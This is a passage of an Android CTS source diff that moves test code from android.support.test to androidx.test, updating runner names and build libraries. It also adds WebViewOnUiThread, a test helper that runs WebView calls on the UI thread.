-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
index 0039337..01b5d88 100644
--- a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
+++ b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
@@ -46,7 +46,7 @@
*/
public class TestUsbTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
- private static final String CTS_RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+ private static final String CTS_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
private static final String PACKAGE_NAME = "com.android.cts.usb.serialtest";
private static final String TEST_CLASS_NAME = PACKAGE_NAME + ".UsbSerialTest";
private static final String APK_NAME="CtsUsbSerialTestApp.apk";
diff --git a/hostsidetests/webkit/app/Android.mk b/hostsidetests/webkit/app/Android.mk
index 2b0be1c..98a7092 100644
--- a/hostsidetests/webkit/app/Android.mk
+++ b/hostsidetests/webkit/app/Android.mk
@@ -22,10 +22,10 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctsdeviceutillegacy \
+ compatibility-device-util-axt \
+ ctsdeviceutillegacy-axt \
ctstestserver \
- ctstestrunner
+ ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/hostsidetests/webkit/app/AndroidManifest.xml b/hostsidetests/webkit/app/AndroidManifest.xml
index cfd25d5..b7b17db 100644
--- a/hostsidetests/webkit/app/AndroidManifest.xml
+++ b/hostsidetests/webkit/app/AndroidManifest.xml
@@ -38,7 +38,7 @@
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.webkit"/>
</manifest>
diff --git a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
index d2728dc..d403618 100644
--- a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
+++ b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
@@ -16,6 +16,7 @@
package com.android.cts.webkit;
import android.platform.test.annotations.AppModeFull;
+
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
import com.android.ddmlib.testrunner.TestResult.TestStatus;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -27,7 +28,7 @@
import java.util.Collection;
public class WebViewHostSideStartupTest extends DeviceTestCase {
- private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+ private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
private static final String DEVICE_WEBVIEW_STARTUP_PKG = "com.android.cts.webkit";
private static final String DEVICE_WEBVIEW_STARTUP_TEST_CLASS = "WebViewDeviceSideStartupTest";
diff --git a/libs/deviceutillegacy-axt/Android.mk b/libs/deviceutillegacy-axt/Android.mk
new file mode 100644
index 0000000..1748080
--- /dev/null
+++ b/libs/deviceutillegacy-axt/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util-axt \
+ junit
+
+LOCAL_JAVA_LIBRARIES := android.test.base.stubs
+
+LOCAL_SRC_FILES := \
+ $(call all-java-files-under, src)
+
+LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE := ctsdeviceutillegacy-axt
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/libs/deviceutillegacy-axt/src/android/webkit/cts/WebViewOnUiThread.java b/libs/deviceutillegacy-axt/src/android/webkit/cts/WebViewOnUiThread.java
new file mode 100644
index 0000000..3072b07
--- /dev/null
+++ b/libs/deviceutillegacy-axt/src/android/webkit/cts/WebViewOnUiThread.java
@@ -0,0 +1,1116 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.webkit.cts;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.TestThread;
+
+import android.graphics.Bitmap;
+import android.graphics.Picture;
+import android.graphics.Rect;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Looper;
+import android.os.Message;
+import android.os.SystemClock;
+import android.print.PrintDocumentAdapter;
+import androidx.test.rule.ActivityTestRule;
+import android.test.InstrumentationTestCase;
+import android.util.DisplayMetrics;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.ViewParent;
+import android.webkit.DownloadListener;
+import android.webkit.CookieManager;
+import android.webkit.ValueCallback;
+import android.webkit.WebBackForwardList;
+import android.webkit.WebChromeClient;
+import android.webkit.WebMessage;
+import android.webkit.WebMessagePort;
+import android.webkit.WebSettings;
+import android.webkit.WebView.HitTestResult;
+import android.webkit.WebView.PictureListener;
+import android.webkit.WebView.VisualStateCallback;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+
+import junit.framework.Assert;
+
+import java.io.File;
+import java.util.concurrent.Callable;
+import java.util.Map;
+
+/**
+ * Many tests need to run WebView code in the UI thread. This class
+ * wraps a WebView so that calls are ensured to arrive on the UI thread.
+ *
+ * All methods may be run on either the UI thread or test thread.
+ */
+public class WebViewOnUiThread {
+ /**
+ * The maximum time, in milliseconds (10 seconds) to wait for a load
+ * to be triggered.
+ */
+ private static final long LOAD_TIMEOUT = 10000;
+
+ /**
+ * Set to true after onPageFinished is called.
+ */
+ private boolean mLoaded;
+
+ /**
+ * Set to true after onNewPicture is called. Reset when onPageStarted
+ * is called.
+ */
+ private boolean mNewPicture;
+
+ /**
+ * The progress, in percentage, of the page load. Valid values are between
+ * 0 and 100.
+ */
+ private int mProgress;
+
+ /**
+ * The test that this class is being used in. Used for runTestOnUiThread.
+ */
+ private InstrumentationTestCase mTest;
+
+ /**
+ * The test rule that this class is being used in. Used for runTestOnUiThread.
+ */
+ private ActivityTestRule mActivityTestRule;
+
+ /**
+ * The WebView that calls will be made on.
+ */
+ private WebView mWebView;
+
+ /**
+ * Initializes the webView with a WebViewClient, WebChromeClient,
+ * and PictureListener to prepare for loadUrlAndWaitForCompletion.
+ *
+ * A new WebViewOnUiThread should be called during setUp so as to
+ * reinitialize between calls.
+ *
+ * @param test The test in which this is being run.
+ * @param webView The webView that the methods should call.
+ * @see #loadDataAndWaitForCompletion(String, String, String)
+ * @deprecated Use {@link WebViewOnUiThread#WebViewOnUiThread(ActivityTestRule, WebView)}
+ */
+ @Deprecated
+ public WebViewOnUiThread(InstrumentationTestCase test, WebView webView) {
+ mTest = test;
+ mWebView = webView;
+ final WebViewClient webViewClient = new WaitForLoadedClient(this);
+ final WebChromeClient webChromeClient = new WaitForProgressClient(this);
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.setWebViewClient(webViewClient);
+ mWebView.setWebChromeClient(webChromeClient);
+ mWebView.setPictureListener(new WaitForNewPicture());
+ }
+ });
+ }
+
+ /**
+ * Initializes the webView with a WebViewClient, WebChromeClient,
+ * and PictureListener to prepare for loadUrlAndWaitForCompletion.
+ *
+ * A new WebViewOnUiThread should be called during setUp so as to
+ * reinitialize between calls.
+ *
+ * @param activityTestRule The test rule in which this is being run.
+ * @param webView The webView that the methods should call.
+ * @see #loadDataAndWaitForCompletion(String, String, String)
+ */
+ public WebViewOnUiThread(ActivityTestRule activityTestRule, WebView webView) {
+ mActivityTestRule = activityTestRule;
+ mWebView = webView;
+ final WebViewClient webViewClient = new WaitForLoadedClient(this);
+ final WebChromeClient webChromeClient = new WaitForProgressClient(this);
+ runOnUiThread(() -> {
+ mWebView.setWebViewClient(webViewClient);
+ mWebView.setWebChromeClient(webChromeClient);
+ mWebView.setPictureListener(new WaitForNewPicture());
+ });
+ }
+
+ /**
+ * Called after a test is complete and the WebView should be disengaged from
+ * the tests.
+ */
+ public void cleanUp() {
+ clearHistory();
+ clearCache(true);
+ setPictureListener(null);
+ setWebChromeClient(null);
+ setWebViewClient(null);
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.destroy();
+ }
+ });
+ }
+
+ /**
+ * Called from WaitForNewPicture, this is used to indicate that
+ * the page has been drawn.
+ */
+ synchronized public void onNewPicture() {
+ mNewPicture = true;
+ this.notifyAll();
+ }
+
+ /**
+ * Called from WaitForLoadedClient, this is used to clear the picture
+ * draw state so that draws before the URL begins loading don't count.
+ */
+ synchronized public void onPageStarted() {
+ mNewPicture = false; // Earlier paints won't count.
+ }
+
+ /**
+ * Called from WaitForLoadedClient, this is used to indicate that
+ * the page is loaded, but not drawn yet.
+ */
+ synchronized public void onPageFinished() {
+ mLoaded = true;
+ this.notifyAll();
+ }
+
+ /**
+ * Called from the WebChrome client, this sets the current progress
+ * for a page.
+ * @param progress The progress made so far between 0 and 100.
+ */
+ synchronized public void onProgressChanged(int progress) {
+ mProgress = progress;
+ this.notifyAll();
+ }
+
+ public void setWebViewClient(final WebViewClient webViewClient) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.setWebViewClient(webViewClient);
+ }
+ });
+ }
+
+ public void setWebChromeClient(final WebChromeClient webChromeClient) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.setWebChromeClient(webChromeClient);
+ }
+ });
+ }
+
+ public void setPictureListener(final PictureListener pictureListener) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.setPictureListener(pictureListener);
+ }
+ });
+ }
+
+ public void setNetworkAvailable(final boolean available) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.setNetworkAvailable(available);
+ }
+ });
+ }
+
+ public void setDownloadListener(final DownloadListener listener) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.setDownloadListener(listener);
+ }
+ });
+ }
+
+ public void setBackgroundColor(final int color) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.setBackgroundColor(color);
+ }
+ });
+ }
+
+ public void clearCache(final boolean includeDiskFiles) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.clearCache(includeDiskFiles);
+ }
+ });
+ }
+
+ public void clearHistory() {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.clearHistory();
+ }
+ });
+ }
+
+ public void requestFocus() {
+ new PollingCheck(LOAD_TIMEOUT) {
+ @Override
+ protected boolean check() {
+ requestFocusOnUiThread();
+ return hasFocus();
+ }
+ }.run();
+ }
+
+ private void requestFocusOnUiThread() {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.requestFocus();
+ }
+ });
+ }
+
+ private boolean hasFocus() {
+ return getValue(new ValueGetter<Boolean>() {
+ @Override
+ public Boolean capture() {
+ return mWebView.hasFocus();
+ }
+ });
+ }
+
+ public boolean canZoomIn() {
+ return getValue(new ValueGetter<Boolean>() {
+ @Override
+ public Boolean capture() {
+ return mWebView.canZoomIn();
+ }
+ });
+ }
+
+ public boolean canZoomOut() {
+ return getValue(new ValueGetter<Boolean>() {
+ @Override
+ public Boolean capture() {
+ return mWebView.canZoomOut();
+ }
+ });
+ }
+
+ public boolean zoomIn() {
+ return getValue(new ValueGetter<Boolean>() {
+ @Override
+ public Boolean capture() {
+ return mWebView.zoomIn();
+ }
+ });
+ }
+
+ public boolean zoomOut() {
+ return getValue(new ValueGetter<Boolean>() {
+ @Override
+ public Boolean capture() {
+ return mWebView.zoomOut();
+ }
+ });
+ }
+
+ public void zoomBy(final float zoomFactor) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.zoomBy(zoomFactor);
+ }
+ });
+ }
+
+ public void setFindListener(final WebView.FindListener listener) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.setFindListener(listener);
+ }
+ });
+ }
+
+ public void removeJavascriptInterface(final String interfaceName) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.removeJavascriptInterface(interfaceName);
+ }
+ });
+ }
+
+ public WebMessagePort[] createWebMessageChannel() {
+ return getValue(new ValueGetter<WebMessagePort[]>() {
+ @Override
+ public WebMessagePort[] capture() {
+ return mWebView.createWebMessageChannel();
+ }
+ });
+ }
+
+ public void postWebMessage(final WebMessage message, final Uri targetOrigin) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.postWebMessage(message, targetOrigin);
+ }
+ });
+ }
+
+ public void addJavascriptInterface(final Object object, final String name) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.addJavascriptInterface(object, name);
+ }
+ });
+ }
+
+ public void flingScroll(final int vx, final int vy) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.flingScroll(vx, vy);
+ }
+ });
+ }
+
+ public void requestFocusNodeHref(final Message hrefMsg) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.requestFocusNodeHref(hrefMsg);
+ }
+ });
+ }
+
+ public void requestImageRef(final Message msg) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.requestImageRef(msg);
+ }
+ });
+ }
+
+ public void setInitialScale(final int scaleInPercent) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.setInitialScale(scaleInPercent);
+ }
+ });
+ }
+
+ public void clearSslPreferences() {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.clearSslPreferences();
+ }
+ });
+ }
+
+ public void clearClientCertPreferences(final Runnable onCleared) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ WebView.clearClientCertPreferences(onCleared);
+ }
+ });
+ }
+
+ public void resumeTimers() {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.resumeTimers();
+ }
+ });
+ }
+
+ public void findNext(final boolean forward) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.findNext(forward);
+ }
+ });
+ }
+
+ public void clearMatches() {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.clearMatches();
+ }
+ });
+ }
+
+ /**
+ * Calls loadUrl on the WebView and then waits onPageFinished,
+ * onNewPicture and onProgressChange to reach 100.
+ * Test fails if the load timeout elapses.
+ * @param url The URL to load.
+ */
+ public void loadUrlAndWaitForCompletion(final String url) {
+ callAndWait(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.loadUrl(url);
+ }
+ });
+ }
+
+ /**
+ * Calls loadUrl on the WebView and then waits onPageFinished,
+ * onNewPicture and onProgressChange to reach 100.
+ * Test fails if the load timeout elapses.
+ * @param url The URL to load.
+ * @param extraHeaders The additional headers to be used in the HTTP request.
+ */
+ public void loadUrlAndWaitForCompletion(final String url,
+ final Map<String, String> extraHeaders) {
+ callAndWait(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.loadUrl(url, extraHeaders);
+ }
+ });
+ }
+
+ public void loadUrl(final String url) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.loadUrl(url);
+ }
+ });
+ }
+
+ public void stopLoading() {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.stopLoading();
+ }
+ });
+ }
+
+ public void postUrlAndWaitForCompletion(final String url, final byte[] postData) {
+ callAndWait(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.postUrl(url, postData);
+ }
+ });
+ }
+
+ public void loadDataAndWaitForCompletion(final String data,
+ final String mimeType, final String encoding) {
+ callAndWait(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.loadData(data, mimeType, encoding);
+ }
+ });
+ }
+
+ public void loadDataWithBaseURLAndWaitForCompletion(final String baseUrl,
+ final String data, final String mimeType, final String encoding,
+ final String historyUrl) {
+ callAndWait(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.loadDataWithBaseURL(baseUrl, data, mimeType, encoding,
+ historyUrl);
+ }
+ });
+ }
+
+ /**
+ * Reloads a page and waits for it to complete reloading. Use reload
+ * if it is a form resubmission and the onFormResubmission responds
+ * by telling WebView not to resubmit it.
+ */
+ public void reloadAndWaitForCompletion() {
+ callAndWait(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.reload();
+ }
+ });
+ }
+
+ /**
+ * Reload the previous URL. Use reloadAndWaitForCompletion unless
+ * it is a form resubmission and the onFormResubmission responds
+ * by telling WebView not to resubmit it.
+ */
+ public void reload() {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.reload();
+ }
+ });
+ }
+
+ /**
+ * Use this only when JavaScript causes a page load to wait for the
+ * page load to complete. Otherwise use loadUrlAndWaitForCompletion or
+ * similar functions.
+ */
+ public void waitForLoadCompletion() {
+ waitForCriteria(LOAD_TIMEOUT,
+ new Callable<Boolean>() {
+ @Override
+ public Boolean call() {
+ return isLoaded();
+ }
+ });
+ clearLoad();
+ }
+
+ private void waitForCriteria(long timeout, Callable<Boolean> doneCriteria) {
+ if (isUiThread()) {
+ waitOnUiThread(timeout, doneCriteria);
+ } else {
+ waitOnTestThread(timeout, doneCriteria);
+ }
+ }
+
+ public String getTitle() {
+ return getValue(new ValueGetter<String>() {
+ @Override
+ public String capture() {
+ return mWebView.getTitle();
+ }
+ });
+ }
+
+ public WebSettings getSettings() {
+ return getValue(new ValueGetter<WebSettings>() {
+ @Override
+ public WebSettings capture() {
+ return mWebView.getSettings();
+ }
+ });
+ }
+
+ public WebBackForwardList copyBackForwardList() {
+ return getValue(new ValueGetter<WebBackForwardList>() {
+ @Override
+ public WebBackForwardList capture() {
+ return mWebView.copyBackForwardList();
+ }
+ });
+ }
+
+ public Bitmap getFavicon() {
+ return getValue(new ValueGetter<Bitmap>() {
+ @Override
+ public Bitmap capture() {
+ return mWebView.getFavicon();
+ }
+ });
+ }
+
+ public String getUrl() {
+ return getValue(new ValueGetter<String>() {
+ @Override
+ public String capture() {
+ return mWebView.getUrl();
+ }
+ });
+ }
+
+ public int getProgress() {
+ return getValue(new ValueGetter<Integer>() {
+ @Override
+ public Integer capture() {
+ return mWebView.getProgress();
+ }
+ });
+ }
+
+ public int getHeight() {
+ return getValue(new ValueGetter<Integer>() {
+ @Override
+ public Integer capture() {
+ return mWebView.getHeight();
+ }
+ });
+ }
+
+ public int getContentHeight() {
+ return getValue(new ValueGetter<Integer>() {
+ @Override
+ public Integer capture() {
+ return mWebView.getContentHeight();
+ }
+ });
+ }
+
+ public boolean pageUp(final boolean top) {
+ return getValue(new ValueGetter<Boolean>() {
+ @Override
+ public Boolean capture() {
+ return mWebView.pageUp(top);
+ }
+ });
+ }
+
+ public boolean pageDown(final boolean bottom) {
+ return getValue(new ValueGetter<Boolean>() {
+ @Override
+ public Boolean capture() {
+ return mWebView.pageDown(bottom);
+ }
+ });
+ }
+
+ public void postVisualStateCallback(final long requestId, final VisualStateCallback callback) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.postVisualStateCallback(requestId, callback);
+ }
+ });
+ }
+
+ public int[] getLocationOnScreen() {
+ final int[] location = new int[2];
+ return getValue(new ValueGetter<int[]>() {
+ @Override
+ public int[] capture() {
+ mWebView.getLocationOnScreen(location);
+ return location;
+ }
+ });
+ }
+
+ public float getScale() {
+ return getValue(new ValueGetter<Float>() {
+ @Override
+ public Float capture() {
+ return mWebView.getScale();
+ }
+ });
+ }
+
+ public boolean requestFocus(final int direction,
+ final Rect previouslyFocusedRect) {
+ return getValue(new ValueGetter<Boolean>() {
+ @Override
+ public Boolean capture() {
+ return mWebView.requestFocus(direction, previouslyFocusedRect);
+ }
+ });
+ }
+
+ public HitTestResult getHitTestResult() {
+ return getValue(new ValueGetter<HitTestResult>() {
+ @Override
+ public HitTestResult capture() {
+ return mWebView.getHitTestResult();
+ }
+ });
+ }
+
+ public int getScrollX() {
+ return getValue(new ValueGetter<Integer>() {
+ @Override
+ public Integer capture() {
+ return mWebView.getScrollX();
+ }
+ });
+ }
+
+ public int getScrollY() {
+ return getValue(new ValueGetter<Integer>() {
+ @Override
+ public Integer capture() {
+ return mWebView.getScrollY();
+ }
+ });
+ }
+
+ public final DisplayMetrics getDisplayMetrics() {
+ return getValue(new ValueGetter<DisplayMetrics>() {
+ @Override
+ public DisplayMetrics capture() {
+ return mWebView.getContext().getResources().getDisplayMetrics();
+ }
+ });
+ }
+
+ public boolean requestChildRectangleOnScreen(final View child,
+ final Rect rect,
+ final boolean immediate) {
+ return getValue(new ValueGetter<Boolean>() {
+ @Override
+ public Boolean capture() {
+ return mWebView.requestChildRectangleOnScreen(child, rect,
+ immediate);
+ }
+ });
+ }
+
+ public int findAll(final String find) {
+ return getValue(new ValueGetter<Integer>() {
+ @Override
+ public Integer capture() {
+ return mWebView.findAll(find);
+ }
+ });
+ }
+
+ public Picture capturePicture() {
+ return getValue(new ValueGetter<Picture>() {
+ @Override
+ public Picture capture() {
+ return mWebView.capturePicture();
+ }
+ });
+ }
+
+ public void evaluateJavascript(final String script, final ValueCallback<String> result) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.evaluateJavascript(script, result);
+ }
+ });
+ }
+
+ public void saveWebArchive(final String basename, final boolean autoname,
+ final ValueCallback<String> callback) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mWebView.saveWebArchive(basename, autoname, callback);
+ }
+ });
+ }
+
+ public WebView createWebView() {
+ return getValue(new ValueGetter<WebView>() {
+ @Override
+ public WebView capture() {
+ return new WebView(mWebView.getContext());
+ }
+ });
+ }
+
+ public PrintDocumentAdapter createPrintDocumentAdapter() {
+ return getValue(new ValueGetter<PrintDocumentAdapter>() {
+ @Override
+ public PrintDocumentAdapter capture() {
+ return mWebView.createPrintDocumentAdapter();
+ }
+ });
+ }
+
+ public void setLayoutHeightToMatchParent() {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ ViewParent parent = mWebView.getParent();
+ if (parent instanceof ViewGroup) {
+ ((ViewGroup) parent).getLayoutParams().height =
+ ViewGroup.LayoutParams.MATCH_PARENT;
+ }
+ mWebView.getLayoutParams().height = ViewGroup.LayoutParams.MATCH_PARENT;
+ mWebView.requestLayout();
+ }
+ });
+ }
+
+ public void setLayoutToMatchParent() {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ setMatchParent((View) mWebView.getParent());
+ setMatchParent(mWebView);
+ mWebView.requestLayout();
+ }
+ });
+ }
+
+ public void setAcceptThirdPartyCookies(final boolean accept) {
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ CookieManager.getInstance().setAcceptThirdPartyCookies(mWebView, accept);
+ }
+ });
+ }
+
+ public boolean acceptThirdPartyCookies() {
+ return getValue(new ValueGetter<Boolean>() {
+ @Override
+ public Boolean capture() {
+ return CookieManager.getInstance().acceptThirdPartyCookies(mWebView);
+ }
+ });
+ }
+
+ /**
+ * Helper for running code on the UI thread where an exception is
+ * a test failure. If this is already the UI thread then it runs
+ * the code immediately.
+ *
+ * @see InstrumentationTestCase#runTestOnUiThread(Runnable)
+ * @see ActivityTestRule#runOnUiThread(Runnable)
+ * @param r The code to run in the UI thread
+ */
+ public void runOnUiThread(Runnable r) {
+ try {
+ if (isUiThread()) {
+ r.run();
+ } else {
+ if (mActivityTestRule != null) {
+ mActivityTestRule.runOnUiThread(r);
+ } else {
+ mTest.runTestOnUiThread(r);
+ }
+ }
+ } catch (Throwable t) {
+ Assert.fail("Unexpected error while running on UI thread: "
+ + t.getMessage());
+ }
+ }
+
+ /**
+ * Accessor for underlying WebView.
+ * @return The WebView being wrapped by this class.
+ */
+ public WebView getWebView() {
+ return mWebView;
+ }
+
+ private<T> T getValue(ValueGetter<T> getter) {
+ runOnUiThread(getter);
+ return getter.getValue();
+ }
+
+ private abstract class ValueGetter<T> implements Runnable {
+ private T mValue;
+
+ @Override
+ public void run() {
+ mValue = capture();
+ }
+
+ protected abstract T capture();
+
+ public T getValue() {
+ return mValue;
+ }
+ }
+
+ /**
+ * Returns true if the current thread is the UI thread based on the
+ * Looper.
+ */
+ private static boolean isUiThread() {
+ return (Looper.myLooper() == Looper.getMainLooper());
+ }
+
+ /**
+ * @return Whether or not the load has finished.
+ */
+ private synchronized boolean isLoaded() {
+ return mLoaded && mNewPicture && mProgress == 100;
+ }
+
+ /**
+ * Makes a WebView call, waits for completion and then resets the
+ * load state in preparation for the next load call.
+ * @param call The call to make on the UI thread prior to waiting.
+ */
+ private void callAndWait(Runnable call) {
+ Assert.assertTrue("WebViewOnUiThread.load*AndWaitForCompletion calls "
+ + "may not be mixed with load* calls directly on WebView "
+ + "without calling waitForLoadCompletion after the load",
+ !isLoaded());
+ clearLoad(); // clear any extraneous signals from a previous load.
+ runOnUiThread(call);
+ waitForLoadCompletion();
+ }
+
+ /**
+ * Called whenever a load has been completed so that a subsequent call to
+ * waitForLoadCompletion doesn't return immediately.
+ */
+ synchronized private void clearLoad() {
+ mLoaded = false;
+ mNewPicture = false;
+ mProgress = 0;
+ }
+
+ /**
+ * Uses a polling mechanism, while pumping messages to check when the
+ * criteria is met.
+ */
+ private void waitOnUiThread(long timeout, final Callable<Boolean> doneCriteria) {
+ new PollingCheck(timeout) {
+ @Override
+ protected boolean check() {
+ pumpMessages();
+ try {
+ return doneCriteria.call();
+ } catch (Exception e) {
+ Assert.fail("Unexpected error while checking the criteria: "
+ + e.getMessage());
+ return true;
+ }
+ }
+ }.run();
+ }
+
+ /**
+ * Uses a wait/notify to check when the criteria is met.
+ */
+ private synchronized void waitOnTestThread(long timeout, Callable<Boolean> doneCriteria) {
+ try {
+ long waitEnd = SystemClock.uptimeMillis() + timeout;
+ long timeRemaining = timeout;
+ while (!doneCriteria.call() && timeRemaining > 0) {
+ this.wait(timeRemaining);
+ timeRemaining = waitEnd - SystemClock.uptimeMillis();
+ }
+ Assert.assertTrue("Action failed to complete before timeout", doneCriteria.call());
+ } catch (InterruptedException e) {
+ // We'll just drop out of the loop and fail
+ } catch (Exception e) {
+ Assert.fail("Unexpected error while checking the criteria: "
+ + e.getMessage());
+ }
+ }
+
+ /**
+ * Pumps all currently-queued messages in the UI thread and then exits.
+ * This is useful to force processing while running tests in the UI thread.
+ */
+ private void pumpMessages() {
+ class ExitLoopException extends RuntimeException {
+ }
+
+ // Force loop to exit when processing this. Loop.quit() doesn't
+ // work because this is the main Loop.
+ mWebView.getHandler().post(new Runnable() {
+ @Override
+ public void run() {
+ throw new ExitLoopException(); // exit loop!
+ }
+ });
+ try {
+ // Pump messages until our message gets through.
+ Looper.loop();
+ } catch (ExitLoopException e) {
+ }
+ }
+
+ /**
+ * Set LayoutParams to MATCH_PARENT.
+ *
+ * @param view Target view
+ */
+ private void setMatchParent(View view) {
+ ViewGroup.LayoutParams params = view.getLayoutParams();
+ params.height = ViewGroup.LayoutParams.MATCH_PARENT;
+ params.width = ViewGroup.LayoutParams.MATCH_PARENT;
+ view.setLayoutParams(params);
+ }
+
+ /**
+ * A WebChromeClient used to capture the onProgressChanged for use
+ * in waitFor functions. If a test must override the WebChromeClient,
+ * it can derive from this class or call onProgressChanged
+ * directly.
+ */
+ public static class WaitForProgressClient extends WebChromeClient {
+ private WebViewOnUiThread mOnUiThread;
+
+ public WaitForProgressClient(WebViewOnUiThread onUiThread) {
+ mOnUiThread = onUiThread;
+ }
+
+ @Override
+ public void onProgressChanged(WebView view, int newProgress) {
+ super.onProgressChanged(view, newProgress);
+ mOnUiThread.onProgressChanged(newProgress);
+ }
+ }
+
+ /**
+ * A WebViewClient that captures the onPageFinished for use in
+ * waitFor functions. Using initializeWebView sets the WaitForLoadedClient
+ * into the WebView. If a test needs to set a specific WebViewClient and
+ * needs the waitForCompletion capability then it should derive from
+ * WaitForLoadedClient or call WebViewOnUiThread.onPageFinished.
+ */
+ public static class WaitForLoadedClient extends WebViewClient {
+ private WebViewOnUiThread mOnUiThread;
+
+ public WaitForLoadedClient(WebViewOnUiThread onUiThread) {
+ mOnUiThread = onUiThread;
+ }
+
+ @Override
+ public void onPageFinished(WebView view, String url) {
+ super.onPageFinished(view, url);
+ mOnUiThread.onPageFinished();
+ }
+
+ @Override
+ public void onPageStarted(WebView view, String url, Bitmap favicon) {
+ super.onPageStarted(view, url, favicon);
+ mOnUiThread.onPageStarted();
+ }
+ }
+
+ /**
+ * A PictureListener that captures the onNewPicture for use in
+ * waitForLoadCompletion. Using initializeWebView sets the PictureListener
+ * into the WebView. If a test needs to set a specific PictureListener and
